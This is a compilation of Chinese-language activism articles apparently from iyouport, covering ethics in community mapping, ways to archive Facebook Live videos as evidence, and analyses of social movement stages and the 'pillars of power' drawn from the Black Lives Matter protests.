开放的数字社区测绘来自于这样一种观点：开放的地图和开放的数据是一种方式，它可以确保从社区采集或创建的数据能够提供给社区自己使用，其他人也可以访问，这样就不会重复收集相同的数据。

虽然开放数据有隐私方面的顾虑，但有一个对等平衡的道德困境，与保持数据封闭会浪费多少时间有关。

5）数据与行动之间（可能缺失）的联系

「图」

与时间浪费问题相关的是收集和/或绘制的数据、行动和结果之间缺

少联系的共同问题。

绘制地图确定问题当然不能保证政府会来处理这些问题。地图是达到目的的一种手段，但目的往往并不明确。我们真正希望数据能带来什么？社会各界又希望得到什么？地图可以是一种华而不实的技术，可以让人们参与进来，但这并不能保证会解决想要解决的问题。

地图是作为战术选项，而不是战略目标，您必需将它放在一个大的战略框架内进行考虑。

6）利益攸关方很重要

「图」

📌 确保数据与行动之间的联系的一个方法是确定有能力使用、理解和重新解释数据的利益攸关方。

比如，卫生工作者收集了数据，然后想知道“我们现在做什么？这对我们的工作有什么影响？我们如何将这些信息以对我们工作有用的方式呈现给社区卫生工作者？”重要的是要把数据调低，让基数人群能够理解，同时也要以一种对当地机构工作的人有用的方式来展示。

如果每个受众要使用数据进行决策，他们需要以不同的、适合背景的方式将数据可视化或分享。可以在从纸质到数字科技的不同平台上以不同的方式提供相同的数据。然而，如何保持所有数据和不同共享平台的更新，是一个不容忽视的挑战。

7）知情同意在当今世界到底意味着什么？

「图」

有一种观点认为，数据必须是开放的，锁定数据是不道德的。另一方面，在做测绘项目，共享或开放数据时，也有关于研究伦理和协议的问题。做测绘的人在使用或开放数据时，是否得到了人们的知情同意？这是对做研究的人的伦理基石。必须能够解释并明确这种数据收集的风险，否则不可能获得真正的知情同意。如果社区测绘人员开放数据或信息，需要得到其他社区成员的什么同意？如果人们是自愿提供信息和自我报告呢？在这些情况下，知情同意意味着什么？又需要做什么来确保同意是真正的知情？如何向那些没有使用过互联网的人解释开放数据和绘图？如果我们不能向任何人保证他们的数据真的是安全的，我们又如何能获得知情同意？对于这些收集数据的新技术方

式，我们有伦理审查委员会吗？

8）没有社区数据也有伦理方面的影响

「图」

即便不掌握社区数据也会产生道德影响。比如用卫星遥感等工具做贫民窟测绘时，数据是非常非人性化的。来自社区本身的数据可以让这些地图更加人性化，但在人性化和保护的需要之间要有一个平衡。需要制定标准，以匿名的方式引入社区和/或人员数据，因为这两端都有道德问题。

9) 捐助者的问题....

「图」

大的捐助者没有提出棘手的问题。对围绕所收集数据的意义、用途和价值以及地图的效用缺乏了解。“如果数据是垃圾，你就会有垃圾的GIS和垃圾的地图；如果你只是为了做地图而做地图，那就有问题了”。 受捐方有很大的动力去展示地图，展示价值，因为地图是一个很好的照片，一个很好的视觉效果。但如何再往下走一层，让地图发挥真正的作用？

通常从出资人的角度来看，绘制地图被视为可以快速完成的事。“把地图画出来，项目就完成了。瞧! 如果你能在3周内完成，那就更好了!”

需要提高捐赠者对这些道德问题的认识，因为其中许多问题与资金问题直接相关。正如一位参与者所指出的，您的项目是否足够协调，是否具有参与性，是否沟通并分享反馈信息，是否能正确处理隐私问题—— 这些都取决于您能说服捐赠者资助什么。通常情况下，重新发明轮子的速度更快，因为用正确的方式去做—— 协调、学习过去的努力、让社区参与—— 需要更多的时间和金钱。这往往是这些道德问题的硬约束。

案例研究

「图」

总部设在内罗毕的 Kuhonga 是一个建立在Ushahidi平台上的在线揭

露腐败绘图工具。该网站允许肯尼亚人通过移动应用程序、电子邮件、社交媒体或通过网站本身实时报告腐败事件。该网站重点关注政府、执法部门、移民和海关、教育机构以及企业中的低级和高级腐败事件。

基贝拉是内罗毕最大的贫民窟，在年轻的基贝拉人决定为他们的社区创建一个免费开放的数字地图之前，基贝拉只是地图上的一个空白点。他们使用开源地图软件 OpenStreetMap，绘制了社区的各个位置和道路，并辅以居民提供的信息。

Map Kibera 之所以效果良好，是因为它解决了一个关键问题：可用信息的稀缺性，以及政府未能提供这些信息。相比之下，像 They Work for You 这样的倡议则是针对政府在提供现有信息方面的无能。

专注于要解决的问题是众包活动成功的关键。

众包工具并不都是报告型的，它们也可以是协作型和创意型的。Amara 是参与式文化基金会的一个项目，是同类产品中最简单、构造最完善的免费字幕工具。

Amara 是一个免费和开源的小工具，它允许任何观众轻松地在任何在线视频上创建字幕和翻译。您的视频可以接触到更广泛的国际观众，并邀请观众之间的合作，他们可以自愿翻译或为视频的全部或部分添加字幕。

此外，The Engine Room 制作了一份关于公民打击腐败行动的报告，其中许多涉及众包作为其战略的主要元素。该报告列举了一些例子，并对众包的优势和陷阱进行了很好的背景分析。

好了，就是这样！希望您的行动主义战略能部署到最恰当的战术、使用最合理的技术工具，发挥最理想的效果。〇

原文

保存直播视频的四种方法：信息行动主义 – 视频行动（10） - iyouport

信息行动主义

本集内容开始介绍敏感人士存档视频证据的步骤和技巧

信息行动主义的战略工具包已经完成。本集内容开始将介绍一些活动家和倡导者最经常使用的工具和技巧 —— 一如既往，在安全的大目标下。敏感人士对常规数字技术的使用需求不同于普通用户，您需要时刻记得您的威胁模型。对此，不要错过我们的《整体安全》系列教程，其中是敏感人士所需要的系统性安全知识和安全素养训练（此处链接为最后一集，其中包含完整列表）。

欢迎回来！

如果您错过了前面的部分，可以在这里回顾：

- 《活动家如何让你们的宣传动员更有力量：信息行动主义指南（1）- 找对人和分析关系》
- 《确定变化的杠杆：信息行动主义指南（2）- 战略效用》
- 《社交媒体情报技巧帮助您在行动中更具效能： 信息行动主义指南（3）- 工具和注意事项》
- 《让您的问题成为人们的兴趣： 信息行动主义指南（4）- 工具和技巧》
- 《拉动天平，让力量向您倾斜：信息行动主义指南（5）- 战术图谱》
- 《从游戏中获得团队协作能力：信息行动主义指南（6）- 练习战略路径》
- 《为行动而计划：信息行动主义（7）- 探索战术思想》
- 《挑战当权者的叙事：信息行动主义（8）- 讲述故事是一件武器》
- 《信息只是战术，有效行动才是战略目标：信息行动主义（9）- 专注于要解决的问题是成功关键》

尽管活动家通过移动设备上进行直播至少已有五年时间了，但目前，

世界各地的人们比以往任何时候都更多地转向视频直播，以实时揭露和防止侵犯人权行为。尤其是在行动过程中，实时记录和取证非常重要，可抵制当局和媒体的抹黑、并与权利组织合作揭露暴力镇压的肇事者。

鉴于 Periscope 已经停止，Facebook Live 是目前最流行的服务。本文是关于保存 Facebook Live 视频的四种基本方法，每种方法都有各自的优点和缺点，您应该基于自己的实际情况进行选择：

1. 如果您是主播，在您的直播设备上保存。

「图」

Facebook 使直播者能够在录制设备上本地保存自己的视频，允许用户在直播后将其直播视频保存到手机的相机胶卷中。

如果您的设备上有足够的空间，把您的原始视频保存到相机胶卷或相册是个好主意。您的文件大小会有所不同，但它们可能会比您直播和上传的视频质量更高。

只是要注意，用这种方法，您只是在保存视频，而不是任何与之相关的描述或评论（要做到这点，请尝试下面的第4个选项）。将视频保存到您的设备中

但是，如果您出于安全原因不想将视频保存到您自己的设备上，或者您不是直播者，怎么办？接下来的三个选项与直播者和观众都有关。

2. 依靠 Facebook 将视频保存在其平台上。

「图」

这种方法最省事 —— 您只需依靠 Facebook 来保存视频即可。当 Facebook 直播结束时，视频会自动发布到直播者的页面或个人资料上。

这种方法的优点是它是自动的，不需要您做任何事。在直播结束后您（或您的盟友）有更多的时间来捕捉/下载视频（见下面的两种方法）。

但缺点是，发布的视频通常比原始视频质量低，尤其是，平台公司和/或服务提供商可以在任何时候删除您的视频，根本不会通知您，

所以您永远不知道视频何时会消失。如果您想确保您拥有视频，最好是下载自己的副本，以便安全保存。

3. 使用 Video Vault 或 Youtube-dl 来下载视频。

「图」

您可以使用服务和工具在 Facebook 直播视频播出后下载它们，这样您就有了一份自己的拷贝，以防公司或服务提供商删除视频。

Video Vault 是 Enrique Piraces 和 RightsLab 创建的一项免费服务，使人权倡导者更容易下载在线视频，包括 Facebook 直播视频。只需输入您的电子邮件地址和您想下载的视频的URL，Video Vault 就会向您发送一个可下载包的链接。该界面还为您提供了预览视频和抓取缩略图的简便方法。

「图」

提供一个电子邮件和一个视频URL，它将发送指向可下载软件包的链接

对于那些需要更多灵活性或不想使用在线服务的人来说，**Youtube-dl** 是强大的免费和开源工具，用于下载在线视频。它为用户提供了很多选项，但要求用户使用命令行界面，这可能不是每个人都能适应的，虽然不难。

您可以在这里看到具体使用方法的介绍《如何对视频进行开源情报调查和信息验证：推荐好用的工具》；《如何快速从大部分社交网络上抓取视频？深度调查的必备基础工具》。非常推荐您使用这种方法，因为它最安全 —— 尤其是当您的视频涉及敏感的人权和政治问题时，使用在线平台和别人的服务器，也许不会是可靠的方法。在浏览器地址栏中获取视频的*URL*，或通过右键单击视频，然后将其插入 *youtube-dl*

这两种下载方法的一个缺点是，您必须等到视频发布出来，并祈祷平台公司或服务提供商不会在您下载之前删除该视频。可下载的视频质量也有点低，而且似乎没有办法使用 Video Vault 或 youtube-dl 直接从 Facebook 下载描述和评论。

更多保存在线信息证据（不止视频）的方法见：

- 《留下证据：如何存档开源材料？》
- 《手慢无：如何抢在信息被遮挡、污染或完全消失之前捕获它们？》

4. 使用 WebRecorder.io 创建一个网络档案（WARC）文件。

「图」

Webrecorder 是一个开源的网络归档平台和服务，由非营利组织Rhizome开发，旨在捕获网络上动态生成的内容。Webrecorder 在用户与网站互动时捕捉网站的内容，并将内容保存到可下载的WARC文件中（WARC是网络档案的国际标准格式）。

Webrecorder 可用于捕捉实时的或保存的视频，与 Video Vault 一样，该服务的界面对任何人来说都很容易使用。通过动态捕获URL，用户可以捕获视频的外观和互动性，包括围绕它展开的社交媒体背景。然而，同样，捕获的视频质量相当低。由webrecorder捕获并使用其桌面webarchiveplayer浏览的已发布的实时视频

无论使用哪种方法，请记住，保存和下载实时视频只是存档工作的第一步！对活动家和权利倡导者来说，存档是为了取证、和在您的行动战略中发挥重要作用，所以您应该随时记得您的战略目标。

下面的视频是一些提示，关于如何安全有效地直播抗议活动的指南。这是以美国为例的，美国和其他大多数国家一样，警察会阻止活动家拍摄，这种情况下您需要知道一些事：

○

——未完待续 ——

原文

无法预测运动何时会爆发，但活动家可以描绘通往成功的道路：行动主义（1） - iyouport

行动主义

【2021年3月24日存档】系列中所指的 “运动” 仅限反抗运动

【按】这些年来IYP与中国社会和中文网络的接触过程中，我们发现的一个最大的特点就是，在这里，几乎没有人懂运动 —— 不论是著名的活动家还是对行动主义感兴趣的广大异议人士。

“懂运动” 指的是：能够准确抓住要点；能够知道在什么情况下哪种措施是有效的、哪种无效；能够以战略性的思考方式评判和预测。您看到了，我们谈论的不是勇气、不是战斗力、不是武器水平、也不是兴趣爱好和关注度；我们谈论的是行动主义领域的知识和经验。

您不需要是政治专家，您只需要会下棋，尤其是知道该怎么赢下棋局；您不需要高谈阔论什么精神什么主义，您只需要能体验什么是公平什么是不公平，能在不公平发生时想要解决方案；您不需要 “有勇气” 在网上喊那些激昂的口号，但您必须能找到可以《打破 Matrix 的路》。

对此，我们准备做点什么。

这里是一个新系列，其主题很明确。您不需要急于现在就理解所有这一切，但当您准备好时，将发现它们的真正价值。

从陪您读书开始 ……

相关书籍在这里下载：https://www.patreon.com/posts/wu-fa-yu-ce-yun-45358392

当来自阿拉巴马州蒙哥马利的黑人少女 Claudette Colvin 因拒绝在城市公共汽车上让座而被捕时，很少有人关注；但几个月后，当 **Rosa Parks** 因同样的行为被捕时，它触动了长达一年的公交车抵抗活动，

并点燃了一场运动。

当美国顶尖调查记者 Seymour Hersh 在1969年披露了美莱大屠杀的细节时，引发了国会的调查，但是，并没有引发大规模的反抗行动；而当时任总统尼克松宣布美军在第二年春天入侵柬埔寨时，包括肯特州立大学在内的大学校园都爆发了抗议活动。

【注：美莱村屠杀是越战期间，美军第23步兵师第11旅第20团第1营C连的官兵，于1968年3月16日在越南广义省山静县美莱村进行的大屠杀。杀害者包括男女老幼，甚至婴儿，女性被轮奸、被肢解尸体。屠杀事件被掩盖了一年多，直到先后几个美国士兵写信反映了自己所在部队的暴行，并提到这个惨绝人寰的大屠杀。这件惨案强烈推动了美国国内的反战情绪。】

1966年，密歇根州的恩里科·费米核反应堆部分熔毁，几乎没有引起公众的关注和重视。而十年后，1979年三里岛的部分熔毁引发了强大的示威抗议、反抗歌曲创作、立法、以及华尔街对核电的看好态度的大逆转。（巧合的是，好莱坞一部重要电影《中国综合症》的上映是一个意想不到的因素）。

【注：三里岛核泄露事故是1979年3月28日发生在美国宾夕法尼亚州萨斯奎哈纳河三里岛核电站的一次堆芯熔毁事故。这是美国商业核电历史上最严重的一次事故。该事件被评为国际核事件分级的 7 级系统中的第5级：事故造成了广泛后果。】

【注：《中国综合症》（The China Syndrome）是一部1979年的美国惊悚片，大意为如果美国的核电厂发生不可挽救的炉芯熔解，灼热的核燃料熔液会熔解一切物质并穿透地壳、地幔和地心，直达在地球上位于美国“下方”的中国。】

当 Ahmaud Arbery 在佐治亚州被私刑杀害的消息传出时，它触动了愤怒的浪潮—— 就像之前许多其他警察暴力事件一样，令人唏嘘。但就在那两个月之后，当乔治·弗洛伊德被明尼阿波利斯警察谋杀的视频传播开时，这种愤怒发展成了**BLM**运动最初完全没想到的事—— 全球联合的反私刑浪潮。

根据纽约时报的一篇报道，示威活动已经在2000个城市和城镇爆发，参与者有数十万人。这只是一种轻描淡写的说法，这并没有算上墨西哥、英国、澳大利亚、俄罗斯和其他很多国家的联合示威活动。与此同时，全美各地都在推进限制警察暴力的立法，呼吁从警务工作中撤资，对社区进行再投资。

📌 虽然你永远无法准确预测哪些当权者的暴行会引发重大起义并推动社会反抗运动，但仅仅是一些暴行就反映了40年前著名活动家和作家比尔·莫耶 (Bill Moyer) 在一本名为 “运动行动计划” 的新闻小册子中所描述的模式。现在特别值得一读，或者重读。

莫耶是一位活跃在20世纪60年代和70年代的社区组织者，他与芝加哥的美国友谊服务委员会AFSC一起为争取公平住房反抗。他在1968年帮助组织了 “穷人运动”，后来加入了费城的 “新社会运动”，发展了帮助和平、平等和环保主义目标的反抗运动。

经过多年对社会运动的深入分析，莫耶确定了成功的社会运动所经历的一系列特殊阶段。

📌 第一个阶段，称之为 “正常时期”，其特点是公众不了解问题，支持权力拥有者；然后是第二阶段，反对派团体形成，开始 “证明官方机构的失败”；在第三阶段，“成熟条件” 引导公众大量反对权力持有者的政策 —— 但还不是多数；第四阶段是运动 “起飞” 的时候 —— 这也就是去年的BLM。

在早期阶段，警察暴力和军国主义等问题可能会引起研究人员、政治家和莫耶所说的 “专业反对派组织” 的注意，但他说，这些组织过于拘泥于自身机构的稳定，无法煽动和领导大规模的社会起义。

请注意，这里所指的 “专业反对派组织” 就是那些相对稳定的权利组织，比如电子前沿基金会、LGBTQI权利组织、反酷刑权利组织、反战人权组织、环保组织等等，在中国也有很多，但是你几乎从没看到过这些组织成功动员和引领起义，对么？别着急 ……

然后就是一个 “触发事件”，比如乔治·弗洛伊德被谋杀的录像。正如马克和保罗-恩格勒在他们的宝贵著作《这是一场起义》中写道的，“在这些时候，新的参与者受到鼓舞，加入到他们的第一次示威活动中，而之前一直在建立的团体也慢慢发现自己正处于一场暴风雨之中，被紧急的抗议活动所包围。”

触发事件使一个持续的严重的问题已经无法再被否认，正如莫耶所解释的那样，它掀起了 “大多数普通公民内心深处的道德愤怒感”。只要足够的触发事件，公众就会做出反应，例如，首次加入示威游行。就如新一波地方运动反抗团体的行动号角。

您一定想到中国了？是的，在中国有无数的 “触发事件”，但从来没有由此形成足够成规模的反抗运动，这正是本系列内容希望帮助解决的

问题 —— 让活动家和知识分子 “懂运动”。活动家和知识分子的联合，才是能让触发事件凝聚为真正的反抗的人，而不是等待所谓的 “阈值”，阈值论是非常愚蠢的。

莫耶与 JoAnn McAllister、Marylou Finley 和 Steven Soifer 一起，在之前工作的基础上，扩展了近20年前出版的《做民主》一书。当然，乔治·弗洛伊德被谋杀案绝不是警察对非裔美国人的暴行第一次被揭露，但除此之外，莫耶的话恰如其分地描述了当前的 “起飞” 时刻。

莫耶在描述特朗普对抗议活动的反应时说，在 “起飞” 阶段，“权力持有者采取强硬立场捍卫他们的政策，并批评新运动，将其描述为激进的、危险的、共产主义启发的、暴力的、由境外敌对势力煽动的和不负责任的。” —— 是的，这就是亲华盛顿的中国异议人士对美国反抗者误解之深的来源。当您只盯着官方叙事时，不论是哪个国家的官方叙事，您就是在matrix里。

同时，莫耶对运动组织者提出了警告。有一种危险是，活动人士，特别是那些第一次被卷入戏剧性示威的人，会把公众的关注与胜利混为一谈。如果不能迅速赢得变化，可能会导致倦怠、沮丧和放弃，或者导致活动家走上可能感觉更 “激进” 的暴力道路，很可能会产生反作用。

这就是为什么我们去年在BLM运动的第一次汇总报告时指出，升级暴力无法帮助您解决问题，反抗者的武力能力永远无法企及镇压者，暴力抗议只会让当权者采取的暴力镇压合理化。📌 您需要能准确抓住您的对手最大的弱点 —— 从他们最害怕什么这点入手。不要错过这本书，非常值得阅读。

值得一提的是，莫耶是在1978年向蛤壳同盟 (Clamshell Alliance) 成员做了一次报告后，制定了 “运动行动计划”。当时蛤壳同盟的人刚刚在新罕布什尔州海滨小镇的核电站建设工地进行了历史性的占领抗议。**1,400**多人被逮捕，并被打包送到遍布全州的国民警卫队军械库，在那里被关押了近两周。

示威的规模、非暴力的纪律以及与该州狂热支持核电的州长的对峙，赢得了相当多的关注 —— 正如该运动指出的，核电风险太大、成本太高，只要阳光明媚、风力足够就没有必要用核。

正如书中指出的那样，“无核运动” 刮起了一股模范旋风。在蛤壳同盟行动之后，数百个新的草根团体在全国范围内形成。Seabrook 的抗

议活动更是激发了抗议者对加州暗黑峡谷核电站等地的进一步占领。

此外，该组织的方法 —— 其亲和力的团体、发言人、共识项目和对激进的非暴力封锁的关注 —— 最终将成为美国直接行动的一个有影响力的模板。

然而，莫耶并没有发现一群乐观的组织者准备好了下一步彻底关闭核电的运动，而是看到了完全不同的东西。正如他后来所写的那样，他“当蛤壳同盟活动家低着头到达这里时，令人震惊”，他们“感到沮丧，说他们的努力是徒劳的”，因为他们的短期目标还没有实现。

因此，在莫耶的MAP中，将“起飞”之后的阶段称为“失败的认识”是恰当的。📌 对失败的认识需要是运动中的一个阶段！当活动家加深了对手头问题的理解，包括“受害者的痛苦”和当权者的共谋，当变化不是立竿见影时，他们就会陷入绝望。莫耶想让他们知道，他们很可能会赢，他们需要继续施加压力，争取改变。

📌 正是在这一点上，莫耶分析的另一个要素非常值得研究。他说，活动家适合于四种角色，所有这些角色都是成功所需要的，即：公民、反叛者、变革者和改革者。扮演这四个角色的人可以是有效的，也可以是无效的。

例如，无效的变革者可能会推进过于平淡或过于大胆的议程。来自“专业反对派组织”世界的改革者可能会发现反叛者和权力拥有者一样有问题，并试图维持对运动动态的控制。

这就是您看到的在中国和很多国家出现的现象 ——“权利组织”似乎越来越保守，反叛者被批判为“民逗”或者其他不现实的头脑，整体被推向“极左”（这是错误的）。权利组织与不现实的活动家撕裂。最终对革命的支持被削减到渐进改良。

📌 请注意角色特征 ——“公民”可能对抵制变革的力量很天真，或者对当权者很顺从；而“反抗者”可能被编程为反叛，以至于他们自己就破坏了他们原本想要帮助推动的进程。

📌 那些被他称为“消极反叛者”的人，甚至可能会把民众对运动目标的支持率的增长看作是运动太过适应现状的指标，而不是进步的证明 —— 这就是我们在2019年访谈中所强调警惕的一个部分，在这里看到《与IYP下午茶》。

当运动经历了从“正常”到“成功”（以及“继续斗争”）的阶段，不同

角色的人之间的关系也会发生变化。例如，在起飞阶段之前，没有人关注变革者，但在反逆者得到当权者和公众的关注之后，他们的功能就会上升到重要的地位。当然，有的人可能善于扮演多种角色，而有的人则只停留在一种角色上。您可以就此分析一下，您身边的人是什么角色？他们有升级自己吗？

莫耶把第六阶段称为获得“多数民意”，这有点令人疑惑，就好像我们生活在一个多数人实际统治的社会中？并不是这样的。虽然变革可能部分是由民意推动的，但是，在民调中突破50%并没有什么魔力。📌 当少数派仍然掌握着权力杠杆时，例如通过金钱充斥的对选举制度的操控，运动就不能仅仅依靠多数派的支持。

尽管如此，莫耶对第六阶段的建议仍然值得重视。尽管权威人士可能会呼之欲出，但运动积极人士仍然应该更注意透过策略性的运动来接触和激发更多的人，以削弱支持不公平现状的力量。非暴力抗议仍然可以有效，但不能依靠它作为变革的主要动力！

📌 有趣的是，莫耶提到了“重新触发事件”的发生，即“触动起飞阶段的重演”。在弗格森警方杀害迈克尔·布朗的近6年后，这是对BLM抗议活动再次兴起的一个相当好的描述。

重新触发非常重要！这关系到活动家的生命力 —— 提醒活动家不要因为一次“看起来不成功”的动员就彻底放弃一个动力源，您不可能知道什么时候它会发展成更大规模的成功。您需要做的就是，保持您的战斗力，不要轻易放弃任何一次努力。

事实上，在美国，黑人社区和民权活动家盟友们之前已经经历过这种情况，并制定了变革议程，这也是去年的这场运动从第四阶段到第六阶段进展如此迅速的原因之一。

📌 归根结底，抗议不是运动。为了取得成功，运动需要研究、培训、组织、沟通战略、资金和人员等资源，以及，即使面对挫折、镇压和欺骗，也要坚持下去的精神。然而，如果没有抗议所产生的强大压力和关注，当我们所面临的危机要求我们采取更戏剧性的行动时，运动可能会陷入慢动作。〇

—— 未完待续 ——

原文

活动家如何瞄准6大权力支柱获取最强大的抵抗效果：行动主义（2） - iyouport

行动主义

【2021年3月25日存档】从国民警卫队放下盾牌，到拒绝将抗议者送入监狱的公交车司机 ……

【按】在中国的人们大多会有一种常识性的见解，即：政府似乎对“体制内忠诚”的敏感度非常高，他们紧盯着教育工作者、军人、公务员和媒体工作人员，施加严格的限制，甚至不管这些人是不是党员；在有些时候，当局对这些人的重视程度会明显高过对体制外异议的重视程度。

您知道这是为什么吗？

欢迎回来！

这里是“行动主义”第2集，如果您错过了前面的内容，可以在这里看到：《无法预测运动何时会爆发，但活动家可以描绘通往成功的道路：行动主义（1）》。

在一段视频中，Keval Williams 描述了他的故事 —— 他辞去了俄克拉荷马市警察局惩教员的工作，同时在6月1日站在了抗议活动中，举着一个写着“Black lives 」 white feelings”的牌子。

对于 Williams 这位女友已怀孕9个月的黑人前警察来说，在全国范围内反对种族主义警察暴力的起义中，辞职是一个艰难的但绝对必要的决定。

Williams 的行动不仅仅是一个勇敢的人为自己的信仰站出来。他们代表了这场反种族主义抗议活动激增的关键因素之一 —— 当警察和军队成员开始不服从命令，公共汽车司机拒绝将抗议者送往监狱，餐馆工人走下工作岗位拒绝为警察部门填写订单时，就是一场抗议运动开始侵蚀“恶权支柱”的时候 —— 这是塞尔维亚 **Otpor!** 运动活动家中流行的一个词，指的是那些支持特定社会权力结构的东西。

权力体系不仅通过胁迫而存在，而且还通过数百万人的默许和合作来维持，从接受武器运输的码头工人到签署合同让警察进入学校的校领导层。

📌 通过吸引商业部门、教育系统和宗教机构等“支柱部门”的人转而反对执政政权，加入反抗运动，活动家可以使权力的天平向正义的一方倾斜。重要的是，要把这些人拉进真正的反抗运动中，而不是把他们推开，以便为反抗事业建立更广泛的盟友。

- 不要错过技巧《以聪明的方式被捕：投标人和盟友的光谱》

一些恶权的支柱通过武力威胁来行使其权力 —— 比如警察和军队 —— 当他们开始怀疑自己对政权的忠诚时，就会削弱统治者的强制力。

其他支柱 —— 比如宗教机构和媒体 —— 行使他们的权力塑造有利于运动的舆论和社会规范。

📌 当受信仰的领袖、学校教师和名人一起公开表态时，运动就获得了道德制高点，扩大了支持者的基础。

过去无数的社会运动都证明了将力量用在支持统治政权的支柱上的重要性。甘地的印度独立战略通过大规模的抵制、封锁、和公务员的大规模辞职，破坏了英国在印度的殖民政权；美国民权运动通过媒体对警察袭击和平抗议者的持续报道，将吉姆-克劳法的暴力暴露在美国公众面前，使公众舆论转向支持民权。

为了理解BLM的力量，就必须审视这场运动是如何侵蚀支撑美国的种族主义治安体系的支柱的 —— 也可能是整个政府。

支柱1：警察

「图」

📌 警察是任何政权最重要的强制支柱之一。他们是对平民执行不公正法律的第一道防线，当警察开始怀疑自己对政权的忠诚时，一场抗议运动就会在街头获得更多的权力。

当警察被命令对自己的社区使用暴力时，如果他们知道自己的朋友和家人可能在人群中，就会产生道德危机，警察的不服从或叛逃就变得更有可能。

去年的抗议浪潮调动了公众对警察暴力的激愤，导致许多警察说出了他们在警队中亲眼目睹的虐待行为，并迫使一些人辞去工作以示抗议。

如同 Keval Williams 辞职加入俄克拉荷马城的抗议者一样，全国各地都有更多的执法人员同情抗议者。

据一位消息人士透露，在6月的第一周，纽约警察局每天就有6名警察辞职。一段视频显示，加州奥克兰的抗议者向警察高呼“辞职！”。

📌 鼓励警察违抗命令，加入到运动中来，这是一种吸引他们的战略性方式，将他们作为潜在的盟友而不是坚定的对手。

当然，大多数警察并没有辞职 —— 但这个支柱在很多方面开始出现裂缝。

这场抗议活动中的许多视频可以证明这点，比如5月31日在密歇根州弗林特的一个视频，显示警察放下防暴装备，与抗议者并肩游行。

虽然这些行动被批评为“宣传噱头” —— 就如警察下跪 *象征性* 地支持，但是几个小时后就继续对抗议者施放催泪瓦斯 —— 但这也可能表明一些警察的内心冲突，特别是那些在加入警队前其自身就经历过警察暴力的人，或者在工作中面临被歧视的黑人警察。

对于一些人来说，就像一位发表了名为《一个前混蛋警察的自白》的前警那样，抗议活动可能会迫使警察说出对制度的不满，并最终收回他们的忠诚。

支柱2：军队

「图」

与警察一样，军队也通过施加强制力来维护暴政，但他们的影响力也会因叛逃和不合作而受到侵蚀。

国民警卫队被部署在华盛顿特区镇压和平抗议活动后不久，军人们开始质疑他们收到的命令 —— 或者直接拒绝服从命令。GI权利组织已经看到，依良心而拒绝服兵役者的人数激增。

与此同时，老兵们穿着整齐的军装走上街头加入了示威，田纳西州的一群国民警卫队士兵应抗议者的要求放下了盾牌。在犹他州，一名拥有两枚紫心勋章的海军陆战队员在州议会大厦前独自站了几个小时，

嘴上贴着“我无法呼吸”的字样。在酷热的天气下创造了一种道德景象，有力地呼吁公众的同情心。

一些退伍军人在抗议活动中遭到了残酷的暴力，包括一名男子被橡皮子弹击中头部，导致他住院治疗。近900名退伍军人签署了一封公开信，告诉部队“为了BLM而后退”，这呼吁了全国各地退伍军人的广泛民众支持。

其他军方和五角大楼的高级官员，如前国防部长詹姆斯·马蒂斯，公开批评使用军队侵犯美国抗议者的宪法权利 —— 这表明特朗普政府本身可能存在重大分歧。

📌 是的，会有高层官员利用抗议的机会在他们内部的权力斗争中占上风，但这不是抗议者需要考虑的事，抗议者只需要借助一切可以借助的机会，“溶解”支撑权力的所有支柱。

当这种情况发生时，它会助长民众对运动的支持，并破坏一个统治政权的合法性。

支柱3：教育体系

「图」

📌 教育系统在维护统治权力结构方面发挥着关键作用，因为教师教育年轻一代，他们通常是一个社区中备受尊敬的成员。

从明尼阿波利斯到波特兰再到丹佛，全国各地的公立学校董事会已经开始切断与警察部门的联系，并终止合同。全国许多学院和大学也纷纷效仿，拒绝继续与当地警察签订校园和体育赛事的安保合同。

但是，教育工作者的声援不仅仅是合同方面的，许多人亲自走上街头加入游行。6月6日，纽约市有一千多人加入了教育工作者和学生领导的游行，要求教师联合会支持解决学校中的系统性种族主义问题，雇佣更多的黑人和棕色人种教师，并结束从学校到监狱的“管道”。

芝加哥教师工会一直在抗议和集会中呼吁将警察从学校撤走，在洛杉矶，代表洛杉矶公立学校教师的工会投票支持大幅削减洛杉矶校警部门的预算。

6月14日，芝加哥的游行显示了教育支柱左右公众舆论的力量。应届毕业生和他们的老师在市长的虚拟毕业典礼上举行了和平抗议，嘉宾

演讲者包括著名脱口秀主持人奥普拉·温弗瑞（Oprah Winfrey）。他们要求将警察从学校撤走，并将警察部门的资金重新投资于社区服务。

在政府官员庆祝毕业生的时候，教师和学生有一个提升的平台来敦促市长和市议会“资助黑人的未来”，而不是像对待罪犯一样对待学生。

支柱4：公职人员

「图」

📌 无数人组成了政府的官僚体系，他们的行为决定了基本公共服务能否继续发挥作用。如果他们撤销参与和同意，当权者几乎不可能实施控制。

在去年的抗议活动中，公务员的反抗最突出的一个例子就是纽约和波士顿等城市的交通工人拒绝帮助警察押送参加抗议活动的人 —— 那些被警察逮捕的抗议者。联合运输工会发表声明，宣称公交司机有权拒绝为协助警察镇压抗议活动提供服务，认为这是“滥用公共交通”。

在明尼阿波利斯，其他工人也以类似的方式进行了抵抗，400多名护士、邮递员和接待人员签署了不帮助警方镇压抗议活动的保证书。急救人员也加入了抗争，纽约的一名救护车司机为抗议者加油，黑人消防员联盟也穿着制服加入了示威。护士和医生也在抗议活动中获得了知名度，带领 White Coats, Black Lives 游行到全国各地。

其他政府官员也纷纷表态并加入抗争。

纽约市市长办公室的数百名现任和前任公务员签署了一封公开信，批评现任民主党市长比尔·德布拉西奥对乔治·弗洛伊德之死的反应，并在6月8日组织了一次前往市长家的游行。

明尼阿波利斯和洛杉矶等城市的市议会已经投票决定取消或大幅削减对警察部门的资助。与此同时，纽约市议会宣布打算从纽约警察局的预算中削减10亿美元。

公务员们对拆除公园和公共建筑上的邦联雕像的立场也发生了另一个巨大的转变。全国各地的县市 —— 包括阿拉巴马州、德克萨斯州和肯塔基州 —— 已经投票决定拆除长期存在的邦联领导人雕像。

这种现象引起了世界各地声援抗议活动的共鸣，比如英国布里斯托尔

市的人群推倒了一个奴隶贩子的雕像，并将其扔进河里。

📌 政府工作人员 —— 如市议员、县长和公交车司机 —— 构成了任何统治政权的重要支持支柱。而和许多邦联雕像一样，这个支柱已经开始崩溃。

支柱5：宗教机构

「图」

与教师类似，宗教领袖在维护当权者的合法性方面也发挥着关键作用。他们代表着道德高地，通常会得到公众更多的尊重。如果警察在示威中对宗教领袖使用暴力，往往会适得其反，激起公众的愤怒。

这正是6月1日发生的事，当时美国公园警察和国民警卫队使用催泪瓦斯和橡皮子弹，将和平示威者从华盛顿特区的拉斐特广场上清除，使特朗普得以在圣约翰圣公会教堂前与圣经合影。他们无意中向教堂里的一些牧师施放了催泪瓦斯，导致世界各地的信仰领袖大规模抗议。

